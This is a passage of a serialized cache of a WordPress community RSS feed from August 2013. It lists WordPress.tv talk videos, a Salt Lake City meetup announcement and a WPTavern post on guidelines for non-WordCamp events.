+0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:11:\"Luke Gedeon\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:4;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:41:\"WordPress.tv: Al Davis: After the Install\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wordpress.tv/?p=21549\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:60:\"http://wordpress.tv/2013/08/26/al-davis-after-the-install-3/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:634:\"<div id=\"v-OTMvdJ53-1\" class=\"video-player\">\n</div>\n<br />  <a rel=\"nofollow\" href=\"http://feeds.wordpress.com/1.0/gocomments/wptv.wordpress.com/21549/\"><img alt=\"\" border=\"0\" src=\"http://feeds.wordpress.com/1.0/comments/wptv.wordpress.com/21549/\" /></a> <img alt=\"\" border=\"0\" src=\"http://stats.wordpress.com/b.gif?host=wordpress.tv&blog=5089392&post=21549&subd=wptv&ref=&feed=1\" width=\"1\" height=\"1\" /><div><a href=\"http://wordpress.tv/2013/08/26/al-davis-after-the-install-3/\"><img alt=\"Al Davis: After the Install\" src=\"http://videos.videopress.com/OTMvdJ53/video-37ea15f1d5_std.original.jpg\" width=\"160\" height=\"120\" /></a></div>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 26 Aug 2013 17:09:28 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:12:\"WordPress.tv\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:5;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:77:\"WordPress.tv: Brewster Kahle: Internet Archive and Preserving WordPress Blogs\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wordpress.tv/?p=21510\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:94:\"http://wordpress.tv/2013/08/26/brewster-kahle-internet-archive-and-preserving-wordpress-blogs/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:752:\"<div id=\"v-WPFuoh55-1\" class=\"video-player\">\n</div>\n<br />  <a rel=\"nofollow\" href=\"http://feeds.wordpress.com/1.0/gocomments/wptv.wordpress.com/21510/\"><img alt=\"\" border=\"0\" src=\"http://feeds.wordpress.com/1.0/comments/wptv.wordpress.com/21510/\" /></a> <img alt=\"\" border=\"0\" src=\"http://stats.wordpress.com/b.gif?host=wordpress.tv&blog=5089392&post=21510&subd=wptv&ref=&feed=1\" width=\"1\" height=\"1\" /><div><a href=\"http://wordpress.tv/2013/08/26/brewster-kahle-internet-archive-and-preserving-wordpress-blogs/\"><img alt=\"Brewster Kahle: Internet Archive and Preserving WordPress Blogs\" src=\"http://videos.videopress.com/WPFuoh55/4-brewster-kahle-internet-archive-and-preserving-wordpress-blogs_std.original.jpg\" width=\"160\" height=\"120\" /></a></div>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 26 Aug 2013 16:20:06 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:12:\"WordPress.tv\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:6;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:54:\"Joseph: Salt Lake City WordPress Meetup This Wednesday\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"https://josephscott.org/?p=8983\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:88:\"https://josephscott.org/archives/2013/08/salt-lake-city-wordpress-meetup-this-wednesday/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:460:\"<p>The <a href=\"http://wpslc.com/\">Salt Lake City WordPress Meetup</a> is happening this Wednesday, August 28th.  <a href=\"http://wpslc.com/blog/2013/08/21/august-28th-meetup-brian-petty-i-found-a-bug-what-next/\">Brian Petty is going to talk</a> about how to report bugs and submit patches back to the WordPress project.</p>\n<p>It will be at the MoJo Themes office in Draper at 7pm.  Check out <a href=\"http://wpslc.com/\">wpslc.com</a> for all the details.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 26 Aug 2013 13:15:56 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:12:\"Joseph Scott\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:7;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:104:\"WordPress.tv: Александр Станкевич: Инфраструктура сети WordPress.com\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wordpress.tv/?p=21472\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:84:\"http://wordpress.tv/2013/08/25/aleksandr-stankevic-wordpress-dot-com-infrastructure/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:727:\"<div id=\"v-Jkxvy85K-1\" class=\"video-player\">\n</div>\n<br />  <a rel=\"nofollow\" href=\"http://feeds.wordpress.com/1.0/gocomments/wptv.wordpress.com/21472/\"><img alt=\"\" border=\"0\" src=\"http://feeds.wordpress.com/1.0/comments/wptv.wordpress.com/21472/\" /></a> <img alt=\"\" border=\"0\" src=\"http://stats.wordpress.com/b.gif?host=wordpress.tv&blog=5089392&post=21472&subd=wptv&ref=&feed=1\" width=\"1\" height=\"1\" /><div><a href=\"http://wordpress.tv/2013/08/25/aleksandr-stankevic-wordpress-dot-com-infrastructure/\"><img alt=\"Александр Станкевич: Инфраструктура сети WordPress.com\" src=\"http://videos.videopress.com/Jkxvy85K/video-7e2bb0c01c_scruberthumbnail_7.jpg\" width=\"160\" height=\"120\" /></a></div>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 26 Aug 2013 06:54:19 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:12:\"WordPress.tv\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:8;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:87:\"WordPress.tv: Andy Hayes: Website Critiques: How To Decide What Works And What To Ditch\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wordpress.tv/?p=21520\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:103:\"http://wordpress.tv/2013/08/25/andy-hayes-website-critiques-how-to-decide-what-works-and-what-to-ditch/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:780:\"<div id=\"v-9KgldZEa-1\" class=\"video-player\">\n</div>\n<br />  <a rel=\"nofollow\" href=\"http://feeds.wordpress.com/1.0/gocomments/wptv.wordpress.com/21520/\"><img alt=\"\" border=\"0\" src=\"http://feeds.wordpress.com/1.0/comments/wptv.wordpress.com/21520/\" /></a> <img alt=\"\" border=\"0\" src=\"http://stats.wordpress.com/b.gif?host=wordpress.tv&blog=5089392&post=21520&subd=wptv&ref=&feed=1\" width=\"1\" height=\"1\" /><div><a href=\"http://wordpress.tv/2013/08/25/andy-hayes-website-critiques-how-to-decide-what-works-and-what-to-ditch/\"><img alt=\"Andy Hayes: Website Critiques: How To Decide What Works And What To Ditch\" src=\"http://videos.videopress.com/9KgldZEa/6-andy-hayes-website-critiques-how-to-decide-what-works-and-what-to-ditch_std.original.jpg\" width=\"160\" height=\"120\" /></a></div>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Sun, 25 Aug 2013 15:25:10 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:12:\"WordPress.tv\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:9;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:56:\"WordPress.tv: Zachary Brown: WordPress DevOps Power Hour\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wordpress.tv/?p=21524\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:73:\"http://wordpress.tv/2013/08/25/zachary-brown-wordpress-devops-power-hour/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:696:\"<div id=\"v-7OzGJqil-1\" class=\"video-player\">\n</div>\n<br />  <a rel=\"nofollow\" href=\"http://feeds.wordpress.com/1.0/gocomments/wptv.wordpress.com/21524/\"><img alt=\"\" border=\"0\" src=\"http://feeds.wordpress.com/1.0/comments/wptv.wordpress.com/21524/\" /></a> <img alt=\"\" border=\"0\" src=\"http://stats.wordpress.com/b.gif?host=wordpress.tv&blog=5089392&post=21524&subd=wptv&ref=&feed=1\" width=\"1\" height=\"1\" /><div><a href=\"http://wordpress.tv/2013/08/25/zachary-brown-wordpress-devops-power-hour/\"><img alt=\"Zachary Brown: WordPress DevOps Power Hour\" src=\"http://videos.videopress.com/7OzGJqil/03-zachary-brown-wordpress-devops-power-hour_scruberthumbnail_0.jpg\" width=\"160\" height=\"120\" /></a></div>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Sun, 25 Aug 2013 13:50:11 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:12:\"WordPress.tv\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:10;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:94:\"WordPress.tv: Matt Boynes: Rewrite Recipes: Exploring Advanced Permalink Structures By Example\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wordpress.tv/?p=21522\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:110:\"http://wordpress.tv/2013/08/24/matt-boynes-rewrite-recipes-exploring-advanced-permalink-structures-by-example/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:808:\"<div id=\"v-PKP1IgNR-1\" class=\"video-player\">\n</div>\n<br />  <a rel=\"nofollow\" href=\"http://feeds.wordpress.com/1.0/gocomments/wptv.wordpress.com/21522/\"><img alt=\"\" border=\"0\" src=\"http://feeds.wordpress.com/1.0/comments/wptv.wordpress.com/21522/\" /></a> <img alt=\"\" border=\"0\" src=\"http://stats.wordpress.com/b.gif?host=wordpress.tv&blog=5089392&post=21522&subd=wptv&ref=&feed=1\" width=\"1\" height=\"1\" /><div><a href=\"http://wordpress.tv/2013/08/24/matt-boynes-rewrite-recipes-exploring-advanced-permalink-structures-by-example/\"><img alt=\"Matt Boynes: Rewrite Recipes: Exploring Advanced Permalink Structures By Example\" src=\"http://videos.videopress.com/PKP1IgNR/02-matt-boynes-rewrite-recipes-exploring-advanced-permalink-structures-by-example_scruberthumbnail_0.jpg\" width=\"160\" height=\"120\" /></a></div>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Sat, 24 Aug 2013 22:50:53 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:12:\"WordPress.tv\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:11;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:55:\"WordPress.tv: Kronda Adair: WordPress DevOps Power Hour\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wordpress.tv/?p=21523\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:72:\"http://wordpress.tv/2013/08/24/kronda-adair-wordpress-devops-power-hour/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:687:\"<div id=\"v-MnWo1hjG-1\" class=\"video-player\">\n</div>\n<br />  <a rel=\"nofollow\" href=\"http://feeds.wordpress.com/1.0/gocomments/wptv.wordpress.com/21523/\"><img alt=\"\" border=\"0\" src=\"http://feeds.wordpress.com/1.0/comments/wptv.wordpress.com/21523/\" /></a> <img alt=\"\" border=\"0\" src=\"http://stats.wordpress.com/b.gif?host=wordpress.tv&blog=5089392&post=21523&subd=wptv&ref=&feed=1\" width=\"1\" height=\"1\" /><div><a href=\"http://wordpress.tv/2013/08/24/kronda-adair-wordpress-devops-power-hour/\"><img alt=\"Kronda Adair: WordPress DevOps Power Hour\" src=\"http://videos.videopress.com/MnWo1hjG/04-kronda-adair-wordpress-devops-power-hour_std.original.jpg\" width=\"160\" height=\"120\" /></a></div>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Sat, 24 Aug 2013 13:28:55 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:12:\"WordPress.tv\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:12;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:63:\"WordPress.tv: Maria Erb: How WordPressCan Save Higher Education\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wordpress.tv/?p=21536\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:80:\"http://wordpress.tv/2013/08/23/maria-erb-how-wordpresscan-save-higher-education/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:711:\"<div id=\"v-R49U9Qeb-1\" class=\"video-player\">\n</div>\n<br />  <a rel=\"nofollow\" href=\"http://feeds.wordpress.com/1.0/gocomments/wptv.wordpress.com/21536/\"><img alt=\"\" border=\"0\" src=\"http://feeds.wordpress.com/1.0/comments/wptv.wordpress.com/21536/\" /></a> <img alt=\"\" border=\"0\" src=\"http://stats.wordpress.com/b.gif?host=wordpress.tv&blog=5089392&post=21536&subd=wptv&ref=&feed=1\" width=\"1\" height=\"1\" /><div><a href=\"http://wordpress.tv/2013/08/23/maria-erb-how-wordpresscan-save-higher-education/\"><img alt=\"Maria Erb: How WordPressCan Save Higher Education\" src=\"http://videos.videopress.com/R49U9Qeb/03-maria-erb-how-wordpresscan-save-higher-education_std.original.jpg\" width=\"160\" height=\"120\" /></a></div>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 23 Aug 2013 21:13:08 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:12:\"WordPress.tv\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:13;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:73:\"WPTavern: Open Discussion On Guidelines Pertaining To Non WordCamp Events\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"http://www.wptavern.com/?p=8618\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:125:\"http://feedproxy.google.com/~r/WordpressTavern/~3/hTBOFW6LoLo/open-discussion-on-guidelines-pertaining-to-non-wordcamp-events\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:1662:\"<p>There has been a new post published on the WordPress Events site that <a href=\"http://make.wordpress.org/events/2013/08/20/organizing-a-non-wordcamp/\" title=\"http://make.wordpress.org/events/2013/08/20/organizing-a-non-wordcamp/\">outlines a set of proposed guidelines</a> for non-WordCamp events that are created by previous WordCamp organizers. With at least two previous WordCamp organizers putting on their own events this year outside of the WordCamp name, these guidelines are necessary to make sure both events can coexist peacefully without causing confusion to WordCamp attendees. </p>\n<p>First of all, I commend Andrea Middleton and the WordPress.org Events team for putting the proposal out into the open for discussion. Not too long ago, changes like the ones presented in the proposal would have just happened with no discussion and we&#8217;ve seen in the past that this is a recipe for disaster which ends up causing a rift in the community. So far, the discussion surrounding the guidelines has been calm and level-headed. Even Matt Mullenweg has participated in the conversation. </p>\n<p>The proposed guidelines come across as a bunch of common sense to me. I especially like the fact that videos from non WordCamp events are encouraged to be shared on WordPress.tv as long as they meet the <a href=\"http://blog.wordpress.tv/submission-guidelines/\" title=\"http://blog.wordpress.tv/submission-guidelines/\">submission guidelines</a>. If you are a current, past, or future WordCamp organizer, be sure to give the guidelines a read and weigh in. </p>\n<img src=\"http://feeds.feedburner.com/~r/WordpressTavern/~4/hTBOFW6LoLo\" height=\"1\" width=\"1\" />\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 23 Aug 2013 20:22:50 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:6:\"Jeffro\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:14;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:73:\"WordPress.tv: Christina Elmore: From URL To ISBN: Making Books From 